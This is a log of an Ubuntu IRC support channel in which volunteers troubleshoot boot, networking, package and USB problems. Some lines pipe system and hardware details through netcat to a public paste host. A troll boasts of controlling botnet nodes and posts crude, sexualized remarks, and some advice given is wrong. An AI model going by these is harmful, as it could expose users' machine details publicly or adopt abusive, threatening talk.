[07:34] <cfhowlett> ask your ubuntu questions zhouwe
[07:57] <SebthreeBQM10HD> hi
[08:01] <ameurux> hello
[08:01] <SebthreeBQM10HD> ameurux, hi
[08:02] <ameurux> any Skylake support with ubuntu?
[08:02] <ameurux> for the moment it only work with nomodeset live mode
[08:03] <yardenbar> Hi all, I have a process that generates colored log messages (echo -e ' [31mFailed to run ...') which being sent to email (daily digest of errors), How can I convert this formatted messages to HTML so it will be displayed 'correctly'
[08:03] <yardenbar> Would like to avoid stripping out color codes
[08:04] <ikevin> yardenbar, you can't without making a script who parse your log
[08:08] <bomb_missile> hey guys I added .xinitrc in that:setxkbmap -option keypad:pointerkeys ? and now i can't disable them? So how do I do it at all? I want t o ...
[08:08] <bomb_missile> disable and activate them at my wish
[08:08] <bomb_missile> is anyone ready to be seeing theese messages, or maybe it's just me , and only me on this channel?
[08:10] <renug_li> h
[08:10] <renug_li> e
[08:11] <yardenbar> ikevin, my collegue found ansi2html (provided by kbtin), testing it now
[08:13] <bomb_missile> E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
[08:14] <bomb_missile> rm /var/lib/dpkg/lock too didn't work and sens the same message
[08:14] <SebthreeBQM10HD> bomb_missile, got sudo going in two things?
[08:15] <renug_li> a
[08:15] <SebthreeBQM10HD> bomb_missile, can only sudo with one thing, for example in the terminal, but then not with software centre as well. also not with two terminals only one
[08:15] <bomb_missile> yes obviously
[08:16] <bomb_missile> I didn't touch the software center
[08:16] <ducasse> SebthreeBQM10HD: not sude, it's dpkg that writes the lock. you can have as many sudo shells open as you want.
[08:16] <JP____> Morning!!!! i am currently working on lubuntu 14.04 and i want to connect to a windows network server but i can't seem to find the network, any ideas?
[08:17] <SebthreeBQM10HD> bomb_missile, make sure sudo is only going or attempted to be going in one terminal
[08:17] <SebthreeBQM10HD> JP____, uhmm samba maybe?
[08:17] <SebthreeBQM10HD> !samba
[08:17] <JP____> Why couldn't you have multiple instances of sudo terminals?
[08:18] <SebthreeBQM10HD> since things  get locked
[08:18] <JP____> locked? how so?
[08:18] <ducasse> SebthreeBQM10HD: you're wrong.
[08:18] <JP____> i have had multiple instances of superuser running on one machine
[08:18] <JP____> locally as well as remotely through ssh
[08:18] <ducasse> SebthreeBQM10HD: the lock is written by dpkg.
[08:19] <JP____> Never had any problems
[08:19] <TotallyAwesome> http://imgur.com/a/kci5C
[08:19] <SebthreeBQM10HD> uhmm an image of? that could be anything
[08:19] <TotallyAwesome> image of what?
[08:19] <TotallyAwesome> did you open it
[08:19] <SebthreeBQM10HD> your link
[08:19] <TotallyAwesome> i guarantee it is not annoying
[08:20] <SebthreeBQM10HD> wht is it?
[08:20] <JP____> She is kind of hot, but way too young
[08:20] <JP____> Also this is not the place for that
[08:20] <bomb_missile> thx and as i said my settings, and then in universal access and then in pointer andthings i can switch it on and off, the mouse keys , but can I do it using keyboard? more like Shift+NumLock
[08:20] <TotallyAwesome> JP____: she's 22 or maybe even 23 now
[08:20] <TotallyAwesome> Selena Gomez is extremely sexy
[08:20] <SebthreeBQM10HD> h eh thought so some kind of troll image, and no didnt open
[08:20] <JP____> Yeah but in that pic she looks kind of young
[08:20] <JP____> I felt like a pedophile
[08:21] <JP____> Also, again, this is not the place for that
[08:21] <TotallyAwesome> JP____: But i am spamming the link across the network for the lulz
[08:21] <SebthreeBQM10HD> !troll
[08:22] <SebthreeBQM10HD> !dftt
[08:22] <JP____> You wanna get banned? *towlie voice*
[08:22] <wedgie> I guess we all have our hobbies...
[08:22] <TotallyAwesome> !ops | ubottu is gay
[08:22] <fletom> okay I tried the dd method - now it's not recognized by my mac or the netbook
[08:22] <wedgie> bomb_missile: that usually means that apt-get is already running. Or the software center
[08:22] <karsten_77> Good morning all!
[08:22] <renug_li> e
[08:23] <JP____> Well we can tolerate him i guess :p
[08:23] <diopork> bella
[08:23] <wedgie> bomb_missile: or it could even be automatically checking for (or installing) updates in the background
[08:23] <SebthreeBQM10HD> TotallyAwesome, congratulations you just got all the ops high lighted as part of your trolling
[08:23] <diopork> o
[08:23] <TotallyAwesome> yes
[08:23] <TotallyAwesome> SebthreeBQM10HD: that is the goal
[08:23] <TotallyAwesome> then the ops get to ban me
[08:23] <ducasse> moron
[08:23] <asdova> Can someone recommend a nice ultrabook for programming
[08:23] <TotallyAwesome> and see what happens next
[08:23] <TotallyAwesome> i have control of many nodes on the interwebz
[08:24] <TotallyAwesome> when i get banned its always amusing what comes next
[08:24] <hateball> fletom: did you make sure to dd your image to a device and not a partition
[08:24] <fletom> hateball: doesn't this tell me to do it to a partition? http://osxdaily.com/2015/06/05/copy-iso-to-usb-drive-mac-os-x-command/
[08:24] <diopork> okay man
[08:25] <TotallyAwesome> http://imgur.com/a/kci5C the images, they are amazing
[08:25] <SebthreeBQM10HD> !ops
[08:25] <TotallyAwesome> !ops
[08:25] <asdova> Can someone recommend a nice ultrabook for programming, sorry for posting here, everybodys afking on hardware channels
[08:25] <TotallyAwesome> !ops | http://imgur.com/a/kci5C
[08:26] <SebthreeBQM10HD> ok dont feed the troll or go on his link!
[08:26] <JP____> SebthreeBQM10HD i already went to his link
[08:26] <JP____> It's a pic of a girl
[08:27] <TotallyAwesome> hi
[08:27] <JP____> Lol, he lost his op status
[08:27] <TotallyAwesome> what happened?
[08:27] <TotallyAwesome> did i get kicked?
[08:27] <JP____> TotallyAwesome you asswipe
[08:27] <JP____> Why don't you help me with my work instead?
[08:27] <hateball> fletom: no idea if OSX does some weird black magics, but the idea is you dd to a device since it will bring MBR with partition layout and bootloader with it
[08:27] <Tm_T> JP____: please behave
[08:27] <fletom> hateball: ok will try that. strange that that site says the opposite. thanks for the tip :)
[08:28] <fletom> also macOS probably doesn't do any black magic - it's standard dd afaik
[08:28] <JP____> Tm_T: ? what did i do?
[08:28] <i-have-nodez> i have more nodez
[08:28] <wedgie> it's the bsd dd, but mostly the same
[08:28] <i-have-nodez> all the l33t hax0r b0tn0des
[08:28] <karsten_77> Please I have a huge problem, self made. Origin I had a hardware raid1, with installed partitions for ubuntu with encrypted home. Dont ask why, but I deleted the raid array, then I created it again. Sure all partition tables lost. Used testdisk to recreate the partition table and mbr. After that I had 1234F, so restarted in live cd and used bootrepair to repair grub. now my grub works, but ubuntu is not starting. Got everytime error
[08:28] <karsten_77> with seeking device. Problem I could see until now is that the mapper name is a completly different as in my fstab
[08:28] <i-have-nodez> oh hi Tm_T
[08:29] <fletom> hateball: that works - thanks so much :)
[08:29] <hateball> fletom: :)
[08:29] <karsten_77> now iam back to a non raid disk, cause the first goal would be to get a bootable system
[08:29] <SelenaIsHot> hi all
[08:29] <hateball> fletom: I've made that mistake myself more times than one should, so :p
[08:29] <SelenaIsHot> Tm_T: ur pathetic and weak
[08:29] <SelenaIsHot> no offense
[08:30] <karsten_77> all data is still on disk and I have all partitions, but ubuntu want start at least still from the mapper pathes and not from sda1. How to proceed_
[08:30] <JP____> Anyway, under ubuntu i had automatic network discovery for accessing server files... with lubuntu i don't
[08:30] <JP____> What is the quickest way to fix this?
[08:30] <TotallyAwesome> im sure you can do better than this
[08:31] <JP____> Tm_T: the more attention you give him, the worse it gets
[08:31] <Tm_T> JP____: this is nothing new, bu thanks (:
[08:31] <TotallyAwesome> these dont even take effort
[08:31] <asdova> Can someone recommend a nice ultrabook for programming, sorry for posting here, everybodys afking on hardware channels
[08:31] <TotallyAwesome> try typing an actual ban with actual decent parameters by hand
[08:32] <asdova> no?
[08:33] <blackbeard21> I am currently trying to use imwheel to enable horizontal scrolling on my ubuntu machine but unfortunately it doesn't seem to be working. Here is the .imwheelrc file - http://pastebin.com/2mBL3vT8. Maybe any of you can suggest why this doesn't seem to be working.
[08:34] <DontBeADILDO> Tm_T: fix it
[08:34] <DontBeADILDO> u banned a /16
[08:35] <JP____> lol he is funny, but i need to get work done
[08:35] <SebthreeBQM10HD> JP____, hes a kid or something
[08:35] <JP____> So again, in lubuntu i can't see the network tab
[08:35] <JP____> in nautilus
[08:36] <JP____> (or whatever file browser this system is using
[08:36] <JP____> I did just install samba
[08:36] <JP____> and did service start and restart, still nothing
[08:36] <SebthreeBQM10HD> JP____, thunar it should be instead of nautilus
[08:36] <JP____> Oh yeah probably :p
[08:37] <SebthreeBQM10HD> JP____, its been long time, but with samba need to set something up on the windows end to i believe
[08:38] <SebthreeBQM10HD> JP____, windows  file sharing
[08:38] <JP____> Oh it's actually PCmanFM
[08:38] <JP____> But under normal ubuntu it was auto-configured
[08:38] <JP____> I didn't need to do anything
[08:39] <SebthreeBQM10HD> lxde is different
[08:40] <alkisg> That's why people prefer mate instead of lubuntu :D
[08:40] <alkisg> It doesn't even have logout inhibitors...
[08:41] <JP____> I guess, i just wanna back up my files without having to figure too much out
[08:41] <SebthreeBQM10HD> yeah i dont like lxde much myself or xfce, with the exception of the log in screen i think lxdm is generally the best
[08:41] <JP____> Am already knee deep in python
[08:41] <SebthreeBQM10HD> JP____, you can have other file managers installed ti  nautilus thunar etc
[08:42] <JP____> Nautilus is the ubuntu standard right?
[08:42] <alkisg> You could also ask in #lubuntu...
[08:42] <SebthreeBQM10HD> yes
[08:42] <JP____> there is a #lubuntu? :O
[08:42] <asdova> why is there a lubuntu channel
[08:42] <SebthreeBQM10HD> JP____, yes, but its probably mostly dead
[08:42] <JP____> but yeah, i'm just gonna get nautilus
[08:43] <SebthreeBQM10HD> asdova, same reason there is kubuntu xubuntu etc channels
[08:43] <JP____> i figured ubuntu and lubuntu are so close to each other that there isn't a need for a seperate channel
[08:44] <SebthreeBQM10HD> JP____, thunar is good to
[08:45] <SebthreeBQM10HD> JP____, well anything that uses the offical ubuntu base, on a supported version as well, can be supported in here as well, so lubuntu xubuntu etc
[08:45] <popey> asdova: because some people provide lubuntu specific support
[08:45] <SebthreeBQM10HD> oh popeY is here :d
[08:45] <JP____> Hahahaha
[08:45] <JP____> Nautilus is also being gay
[08:46] <JP____> Should i give up and just use a usb stick.....? *pensive*
[08:46] <SebthreeBQM10HD> JP____, i prefer thunar actsually try that
[08:47] <JP____> i don't care about which file manager i use
[08:47] <renug_li> a
[08:47] <JP____> I just wanna connect
[08:47] <SebthreeBQM10HD> !language
[08:47] <JP____> I think i might need some additional software that autoconfigures the network
[08:47] <SebthreeBQM10HD> jp
[08:47] <JP____> Seb?
[08:47] <JP____> Was my language offensive?
[08:48] <Ben64> JP____: yes it was not appropriate. anyway, what are you trying to do
[08:48] <SebthreeBQM10HD> JP____, language jp, for some people would have been yes
[08:48] <JP____> Oh about being of certain sexual prefrences
[08:48] <JP____> Yeah my bad
[08:48] <JP____> Been watching too much south park
[08:49] <JP____> Anyway, i have a server here
[08:49] <JP____> everything (except my stuff) runs on windows
[08:49] <JP____> In my old ubuntu i had direct access to the network
[08:49] <root____1> hello.
[08:49] <JP____> Didn't have to configure anything
[08:50] <JP____> That's kind of what i want to do now
[08:50] <JP____> Was the same ubuntu version 14.04
[08:50] <SebthreeBQM10HD> root____1, hi dont run irc as root
[08:50] <Ben64> JP____: ... what's the issue
[08:50] <JP____> The only difference is, this one is a minimal install
[08:51] <rypervenche> !enter | JP____
[08:52] <JP____> Well when i press the browse network button it tells me operation not supported
[08:52] <alkisg> JP____: you might be missing some gvfs-related packages...
[08:52] <ducasse> JP____: look if suggests and recommends are installed
[08:53] <zdz> hi
[08:53] <SebthreeBQM10HD> zdz, HI
[08:54] <SebthreeBQM10HD> zdz, hi
[08:54] <zdz> Ubuntu is the best OS
[08:58] <JP____> alkisg: i have just installed gvfs-bin and gvfs-backends
[08:59] <JP____> before these questions, do i need to reboot for it to take effect?
[08:59] <alkisg> JP____: I don't know which gvfs packages nautilus needs to see samba shares, you could google it. I have 7 of them installed here in mate.
[09:00] <JP____> alkisg: i wouldn't mind installing them all
[09:00] <renug_li> e
[09:00] <rst0aic> hello!
[09:01] <SDCB> how's it going
[09:01] <JP____> anyway, doing a reboot for the H of it
[09:01] <rst0aic> h
[09:04] <JP____> Yeah, reboot did it for me :D :D :D
[09:04] <JP____> Thanks for the support guys
[09:04] <alkisg> np
[09:05] <assmith> I have made some iptable changes (bridge utils) and some ip changes to an interface, what is the recomended way of making those changes persistent?
[09:09] <iamkiran> I am getting error in Ubuntu while installin any module using PIP. http://pastebin.com/Qr7Zcxtg
[09:09] <TvL2386> assmith, lots of questions at once.... changing ip information of an interface is done in /etc/network/interfaces. Bridge configuration also goes there.
[09:11] <TvL2386> assmith, as for iptable changes: I think the default nowadays is managed through ufw. I've never used it though. I save my iptable config (iptables-save > /etc/iptables.v4) and load it by calling iptables-restore < /etc/iptables.v4 in /etc/network/if-pre-up.d/iptables-v4
[09:13] <Ran> Hi, I'm having a problem, hope you can help me out... I have a vagrant (virtualbox) VM with ubuntu on it, I use MacOSX as a host. The /var/www directory is shared and I have a directory called "sentry"... now... I need to create a symlink of /var/www/sentry/ called "proj_slim" under the same dir... (/var/www/proj_slim)
[09:14] <Ran> I did it as I would normally do: ln -s /var/www/sentry /var/www/proj_slim
[09:14] <tech1> Help! my apt-get not working
[09:14] <Ben64> !details | tech1
[09:14] <Ran> Now... heres the ugly part
[09:14] <tech1> check this output of command line https://paste.ubuntu.com/23862303/
[09:15] <Ran> for some reason the fact of having the symlink there, is making everything missbehave
[09:15] <Ran> it even kills the ls command
[09:15] <alkisg> tech1: there's an "apt-daily" service that runs apt-get update in the background, so you need to wait for it to finish... run `ps aux|grep apt` to see it
[09:16] <Ben64> alkisg: how is the directory shared
[09:16] <tech1> alkisg: i just turn on my pc.
[09:16] <alkisg> tech1, yes, and it's trying to update, it's normal
[09:16] <alkisg> tech1, retry in a couple of minutes
[09:17] <alkisg> Ben64: I think you wanted to ask Ran and not me?
[09:17] <Ben64> alkisg: indeed!
[09:17] <alkisg> :)
[09:17] <tech1> alkisg: it is problem since i last used my pc yesterday. i closed some software installation at middle in commandline.
[09:18] <ObrienDave> that's almost never a good idea
[09:19] <alkisg> tech1, no, that's not what the error message is about. Can you paste the output of `ps aux|grep apt` here?
[09:19] <Ran> Ben64: I used the config.vm.synced_folder parameter in the vagrantfile
[09:19] <tech1> alkisg: output of $ps aux | grep apt is https://paste.ubuntu.com/23862325/
[09:20] <alkisg> tech1, you can for example interrupt it with: sudo kill 2401
[09:20] <alkisg> tech1, then you can try your apt-get update commands
[09:20] <Ben64> Ran: you probably can't make symlinks then
[09:21] <tech1> alkisg: thank you so much :)
[09:21] <alkisg> np
[09:25] <ubuntu335> hi
[09:25] <ubuntu335> does anyone have any experience with usb tethering via android on ubuntu?
[09:25] <Ran> Ben64: ^^ I'm aware of that. A colleague of mine did the same and for some reason it worked for him and not for me, even though we used the same command
[09:29] <Guest80838> ?
[09:36] <tahsin> hi :)
[09:38] <bcc> is there a way for nssldap-update-ignoreusers to be configurable?
[09:45] <CRogers> Hey Folks. Just a show of hands, how many people here would like to see nautilus get an option to show image dimensions (height x width) in a list view column, and be able to sort by it?
[09:57] <ZJAY> hey eveyone i have a refurbished m81 thinkcentre im wanted to put or did put ubuntu 16.04 on? but whehi get done installing and reboot i get the ERROR 1962: No Operating System error when in EFI mode and it tries to load the network troubleshooter that resides in the ibm bios or levovo and get a cannot find nwtwork etc IOW it cant find the grub or mbr partition to load ubuntu?
[09:58] <ZJAY> anybody have any idea how i get ubuntu to load the grub into the MBR? to fix the issue im guessing at this point been working on  it for hours now trying everything from the forums etc youtube etc
[09:59] <ZJAY> i dont mind reinstalling linux or whatever it takes if anyone has any knowlegdge here?
[10:00] <k1l> did you try boot repair already?
[10:00] <k1l> !bootrepair
[10:00] <alkisg> ZJAY: how did you install ubuntu, by making a usb stick with unetbootin?
[10:00] <ZJAY> yes with rufus on another completely separate machine?
[10:01] <ZJAY> i jhave used this same installer stick with like 5 other builds no issues
[10:01] <alkisg> ZJAY: did you select that you want it to support UEFI? Because it sounds like you have an uefi pc with gpt disk, not mbr
[10:01] <alkisg> So if you booted with a usb stick in non-uefi mode, then it wouldn't have been able to properly install grub
[10:02] <ZJAY> i think i may initially just hit enter  or the first install i seen whe n it came that first time so ho do i change it or reinstall the right way now? i can load and have off of the stick to a usb live version to do alot of the eufi/boot changes i tried
[10:03] <ZJAY> ok it complained i think about that so howdo i fix the issue then
[10:03] <alkisg> ZJAY: first, you need to boot with a stick in uefi mode, in order to be able to install grub or ubuntu in uefi mode
[10:04] <alkisg> ZJAY: try booting with your usb stick and come here again then for more info
[10:04] <ZJAY> how do determine that?
[10:04] <alkisg> http://askubuntu.com/questions/162564/how-can-i-tell-if-my-system-was-booted-as-efi-uefi-or-bios
[10:04] <ZJAY> idid it boots fine with the stick
[10:04] <alkisg> Does it boot in uefi though?
[10:04] <alkisg> Is a /sys/firmware/efi directory present when you boot?
[10:05] <ZJAY> i can get in the lice version from the usb stick where it says in the grub menu wanna try first deal
[10:05] <ZJAY> present where
[10:05] <ZJAY> on the stick it is as far as i know how do i find out?
[10:05] <energizer> I just changed display drivers. Everything looks fine. Do I need to reboot for anything to take effect?
[10:06] <alkisg> ZJAY: are you booted from the stick currently?
[10:06] <ZJAY> yupper
[10:07] <ZJAY> lookin at a command prompt insdie the livecd part
[10:07] <EriC^^> energizer: yes
[10:07] <ZJAY> and i have gui etc
[10:07] <alkisg> ZJAY: what's the output of these commands?
[10:07] <alkisg> ls -ld  /sys/firmware/efi; sudo parted -l
[10:07] <ZJAY> 1 sec
[10:08] <fletom> okay! I've got ubuntu 16.04.1 server up and running. one quick question, what's the configuration I need so that other computers on the network can see it as `<hostname>.local`?
[10:09] <fletom> just `sudo apt-get install avahi-daemon`?
[10:10] <ZJAY> drwxr-xr-x 5 root root 0 Jan 25 08:22 /sys/firmware/efi
[10:10] <ZJAY> Model: ATA HitachiHUA72202(scsi)
[10:10] <ZJAY> Disk /dev/sda: 2000GB
[10:11] <ZJAY> Sector size (logical/physical): 512B/512B
[10:12] <ZJAY> Partition Table: gpt
[10:12] <EriC^^> !paste | ZJAY
[10:13] <ZJAY> i was answering and writing that verbatim not pasting
[10:13] <ZJAY> line per line
[10:13] <ZJAY> so i guess gpt
[10:14] <ZJAY> its on a 20 gb sandisk cruiser dial (scsi) stick i guess a usb from sandisk basically
[10:15] <ZJAY> the big dirve i installed to is a 2 TB drive that origanlly came with the unit
[10:20] <ZJAY> did you get that alkisg
[10:20] <ZJAY> ???
[10:20] <ZJAY> oh i tried boot repair and anda even different variaitions of it
[10:21] <ZJAY> basically sda1 is the uefi part and sda2 is the main part
[10:21] <ZJAY> of that 2 TB disk
[10:21] <ZJAY> nada for boot-repair
[10:22] <ZJAY> stil with the 1962 error message no matter what mode eufi or legacy on the bios or auto still wont load the disk
[10:22] <wulfbow> for some reason i cannot login to my email account in thunderbird it says my password is invalid even tho its correct
[10:22] <ZJAY> your caps lock may be on
[10:23] <wulfbow> everything is r8
[10:23] <wulfbow> i check like 10 times
[10:24] <wulfbow> i even tried auth0 as authentication but i couldnt login as it say javascript is disabled im stuck
[10:26] <renug_li> a
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[10:29] <zhang1> is so  hard
[10:29] <lol> help! when i playing video on browser it gives error "Failed to load libpepflashplayer.so ".
[10:30] <TvL2386> lol, which browser?
[10:30] <lol> mozilla
[10:30] <TvL2386> lol does the file libpepflashplayer.so actually exist?
[10:31] <lol> I dont know .
[10:31] <zhang1> ----
[10:31] <TvL2386> lol in a terminal do "locate libpepflashplayer.so"
[10:32] <TvL2386> lol maybe first "sudo updatedb" to update the locate database
[10:32] <lol> yes it is at /home/torrent/.config/google-chrome/PepperFlash/24.0.0.194/libpepflashplayer.so
[10:32] <lol> yes it is at /home/torrent/.config/google-chrome/PepperFlash/24.0.0.194/libpepflashplayer.so
[10:32] <k1l> lol: what ubuntu is that exactly?
[10:32] <lol> ubuntu 16.04
[10:32] <lol> lts
[10:32] <k1l> lol: "sudo apt install pepperflashplugin-nonfree"
[10:33] <k1l> then "sudo update-pepperflashplugin-nonfree --install"
[10:33] <lol> k1l :pepperflashplugin-nonfree is already the newest version (1.8.2ubuntu1).
[10:33] <hateball> Not sure what good pepperflash would do for Firefox
[10:34] <zhang1> I don't understand what you are talking about
[10:34] <hateball> lol: for firefox you'll want the NPAPI flash, which is "sudo apt install flashplugin-installer"
[10:34] <TvL2386> zhang1, trolling?
[10:34] <k1l> i would just install the regular flashplugin-installer. but i dont know why he wants that plugin
[10:36] <zhang1> What does trolling mean
[10:36] <zhang1> Why not chat on qq
[10:36] <k1l> zhang1: this is the technical support irc channel for ubuntu.
[10:36] <ZJAY> anyone got a clue aboutm my grub/efi issue?
[10:37] <renug_li> e
[10:37] <rst0aic> kdlsjfk
[10:37] <poorUser> Hi people! i have a strange question, did ubuntu, some years ago, use vi instead of vim?
[10:37] <mcphail> poorUser: no
[10:37] <ZJAY> i thought vi was there from the git go
[10:37] <tatertots> it was
[10:37] <mcphail> poorUser: although vim-tiny is very similar
[10:37] <EriC^^> ZJAY: what's the issue?
[10:38] <zhang1> I was piaying on a virtual machine
[10:38] <ZJAY> scroll up
[10:38] <EriC^^> zhang1: virtual machines dont support uefi
[10:38] <EriC^^> just for windows
[10:38] <mcphail> poorUser: there was a bit of a stooshie when there was an attempt to take vim out of the ISOs to save some space, but it has been there since Warty
[10:38] <ZJAY>  hey eveyone i have a refurbished m81 thinkcentre im wanted to put or did put ubuntu 16.04 on? but whehi get done installing and reboot i get the ERROR 1962: No Operating System error when in EFI mode and it tries to load the network troubleshooter that resides in the ibm bios or levovo and get a cannot find nwtwork etc IOW it cant find the grub or mbr partition to load ubuntu?
[10:38] <poorUser> because now vi is just a link to vim, and i heard a license problem with VI :D
[10:39] <EriC^^> ZJAY: you're installing ubuntu baremetal or in the vm?
[10:39] <tatertots> sounds like the NIC is in the boot order for pxe boot
[10:39] <mcphail> vim has always behaved as vi if invoked by a vi symplink
[10:39] <tatertots> might want to turn that off if you do not plan on pxe booting
[10:39] <brunch875> alt-clicking moves windows around. How can I rebind that to super?
[10:40] <ZJAY> baremetal ona 2 tb drive nothing else on it
[10:41] <afidegnum> hello, how do i run ubuntu live from my USB drive without dual boot?
[10:41] <poorUser> mcphail: sorry couldn't tanslate stooshie and Warty :(
[10:42] <tatertots> ZJAY: are you booted from the livecd/liveusb and chatting on the computer now?
[10:42] <EriC^^> ZJAY: did you try turning off secureboot?
[10:42] <poorUser> so ubuntu never ran vi?
[10:42] <ZJAY> i already haveit installed third try from scratch used gparted to completely delte all partitions etc and
[10:42] <ZJAY> what is secureboot?
[10:43] <ZJAY> im on another machine now
[10:43] <ZJAY> one that wroks..lol
[10:43] <ZJAY> works
[10:43] <ZJAY> or how do you turn securboot off that is?
[10:43] <ZJAY> is it in the bios im not 2 familiar with it
[10:44] <afidegnum> any answer ?
[10:44] <hhee> guys, firefox 51 release. but how can i downgrade to 50 version, if i need it?
[10:45] <bazhang> hhee, why would you need the less secure version
[10:45] <ZJAY> EriC^^
[10:45] <ZJAY> ???
[10:46] <mcphail> poorUser: by default, vi has always been a symlink to vim on Ubuntu. Vim behaves as vi if invoked by that symlink
[10:47] <poorUser> mcphail: tnk! i remember sudo apt-get install vim some years ago, so like you said, was removed just in some ISOs
[10:47] <ZJAY> tatertots ???
[10:47] <mcphail> poorUser: it was never removed, but replaced by vim-tiny
[10:47] <ZJAY> hilarious thats my wife's nickname
[10:48] <poorUser> mcphail: ah ok! tnk i'm into a holy war of text editors :D
[10:48] <poorUser> mcphail: you brought peace in a small community
[10:48] <mcphail> ha!
[10:49] <ZJAY> this is how frazzled i am right now:  http://www.cinemastance.com/wp-content/uploads/2016/09/jekyll-and-hyde-lab.jpg
[10:50] <tatertots> ZJAY:  boot livecd/liveusb
[10:50] <tatertots> ZJAY: return to this chat from the computer in liveusb/livecd
[10:51] <ZJAY> seriously ok hold on
[10:52] <ZJAY> not even sure it has xchat installed on the live
[10:52] <luanpd> dw
[10:55] <luanpd> smuxi-server --add-user --username=$myuser --password=$mypassword
[10:56] <tatertots> ZJAY: i think you can get here via any standard web browser
[11:01] <ubuntu506> ok imhere its me WJay in the flesh baby
[11:02] <ubuntu506> sorry zJay in the flesh
[11:02] <ubuntu506> im da on ewit da uefi ibm thinkpad 1962 issue hewwooo
[11:03] <bazhang> ubuntu506, please use real words here
[11:03] <ubuntu506> im ZJAY
[11:04] <tatertots> hi
[11:04] <bazhang> ubuntu506, please use standard language here, no need for the extra commentary
[11:04] <tatertots> ubuntu506: open terminal
[11:04] <ubuntu506> its my bad keyoard on this server that is the issue its a wirelees on its last legs
[11:04] <ubuntu506> k
[11:04] <ubuntu506> done
[11:05] <tatertots> ubuntu506: lsblk|nc termbin.com 9999
[11:05] <genkgo> how can i lock my kernel to 4.4? but not the exact version, i do want to receive updates for the 4.4 version. just not upgrade to 4.8 when 16.04.2 comes out.
[11:05] <tatertots> ubuntu506: share url/link here
[11:05] <k1l_> genkgo: you dont get the kernel updated
[11:06] <k1l_> genkgo: you would have to install another meta-package to change to 4.8. if you stay on "linux-generic" it will stay on 4.4
[11:06] <BluesKaj> Hi folks
[11:07] <genkgo> k1l_: thanks!
[11:07] <ubuntu506> http://termbin.com/jmtb
[11:08] <tatertots> ubuntu506: sudo parted -l|nc termbin.com 9999
[11:08] <tatertots> ubuntu506: share url/link here
[11:10] <ubuntu506> http://termbin.com/dp9n
[11:12] <tatertots> ubuntu506: go in bios remove the nic from the boot order (or turn off pxe), ensure the the 2TB drive is at the highest priority in the boot order, save changes exit bios
[11:13] <ubuntu506> where is the pxe is it in the boot order per se?
[11:13] <tatertots> ubuntu506: sudo dmidecode|nc termbin.com 9999
[11:13] <tatertots> ubuntu506: share url/link here
[11:13] <ubuntu506> ok will do ill be back
[11:13] <ubuntu506> oh ok1 sec
[11:15] <ubuntu506> http://termbin.com/euhd
[11:16] <ubuntu506> did i do good
[11:18] <tatertots> ubuntu506: yep
[11:18] <ubuntu506> ok so should i now do as you said?
[11:18] <tatertots> ubuntu506: yes
[11:18] <ubuntu506> ok ill be back in a bit
[11:18] <tatertots> k
[11:18] <ubuntu506> ty
[11:18] <tatertots> np
[11:25] <ZJAY> tatertots your a genius
[11:25] <ZJAY> tyvm
[11:26] <ZJAY> i just excluded evrything except the drive and viola it worled yeaa!!!!
[11:27] <steven_> hi all, is there anyone else having problems with the kernel version 4.4.0-59? I've installed it on 16.04 and my wifi/ethernet/mouse drivers/modules stopped working. 4.4.0-31 works fine.
[11:27] <tatertots> ZJAY: no prob
[11:27] <ZJAY> love you guys thanks again
[11:27] <ZJAY> guys/gals..lol
[11:29] <ubuntu743> Hi guys, I need some help here. I have a kingston usb drive. It was working fine until a friend pulled it out of computer while I was copying some files to it. After that it stopped working. My friend tried formatting it on windows but it said disk is write protected. He ran some commands on cmd (I dont know what commands he ran) and now this usb drive is not showing in any computer when I plug it in.
[11:29] <ZJAY> hey that info does not have any id or passwords in it right that i posted?
[11:30] <ZJAY> i didnot look at all of the past one
[11:30] <ZJAY> last one
[11:30] <tatertots> ZJAY: no
[11:30] <tatertots> ZJAY: you're fine
[11:30] <ZJAY> cool i didn't think so thanks again tatertots your awesome...kudos
[11:31] <steven_> hey ubuntu743, format it with gparted
[11:32] <CRogers> ubuntu743: Yes, format with gparted, but BE CAREFUL NOT TO FORMAT YOUR HARD DRIVE. :)
[11:34] <ubuntu743> steven_: OK thanks. This is what I see in disks utility (http://tinypic.com/r/fwop4g/9)
[11:34] <bcc> is there a way for nssldap-update-ignoreusers to be configurable? https://bugs.launchpad.net/ubuntu/+source/libnss-ldap/+bug/644632 doesnt look very promising
[11:35] <mario__> dfg
[11:36] <CRogers> ubuntu743: Unplug all other usb storage devices from your computer before formating.
[11:36] <CRogers> helps narrow it down.
[11:36] <ubuntu743> OK I'll try that and come back with updates. Thanks alot guys
[11:36] <CRogers> ubuntu743: can you click on the gears?
[11:37] <CRogers> that little gears icon under the USB drive info in the screen shot you took.
[11:37] <ubuntu743> yes I can but all the options are inactive. I cant select any option in the under gears icon
[11:37] <CRogers> ubuntu743: Okay, yea, best to use gparted then.
[11:38] <ubuntu743> ok
[11:38] <CRogers> ubuntu743: don't forget to remove any camera cards you have.
[11:38] <ubuntu743> ok
[11:38] <CRogers> As you can see, I've made all these mistakes before. :)
[11:39] <CRogers> in gparted, make sure the size of the disk corresponds to the storage capacity of your usb drive.
[11:39] <CRogers> If it doesn't, you probably have selected the wrong device.
[11:39] <ubuntu743> So you mean theres still some hope left to get my usb to work once again.. I am really worried about it.
[11:39] <lin_> hi
[11:39] <ubuntu743> yeah I'll make sure its the right usb im about to format
[11:40] <CRogers> ubuntu743: formatting with erase all data on the drive, but it sounds like Windows already did that.
[11:40] <CRogers> ubuntu743: what are you really worried about? :)
[11:40] <shomon> hi, I'm trying to get an old desktop online after a few years in a box.. it has a broadcom usb wifi, but although iwlist can find it and does a successful scan of wifi networks, wpa_supplicant won't connect to it.. or I'm not sure it knows how..
[11:41] <shomon> it seems to be doing a failed auth at the moment, so I'm not sure if I need an s: prefix to the key, or if I'm missing something.. network manager doesn't seem to even detect wifi
[11:41] <ubuntu743> The part thats worrying me the most is that this usb is not mine its of another friend and she is going to kill me for breaking it... :{
[11:41] <shomon> also some settings I think mode is disabled... according to wpa_cli
[11:42] <CRogers> ubuntu743: Tell her windows broke it. :P
[11:42] <CRogers> ubuntu743: because that's what happened.
[11:42] <ubuntu743> yeah but i'll have to give it a try.
[11:43] <CRogers> ubuntu743: Yup, then if it works, you can say Linux fixed it. :)
[11:43] <CRogers> Which is not an uncommon thing to hear, actually.
[11:43] <ubuntu743> btw I just ran "sudo apt-get install gparted" command and it installed gparted. but I cant seem to find it anywhere.
[11:43] <ubuntu743> can you point me in the right direction?
[11:43] <CRogers> hit Super key
[11:43] <CRogers> type gpart
[11:43] <ubuntu743> notiing shows
[11:44] <steven_> ubuntu743: what desktop environment you're using?
[11:44] <CRogers> Hmm, may have to reboot.
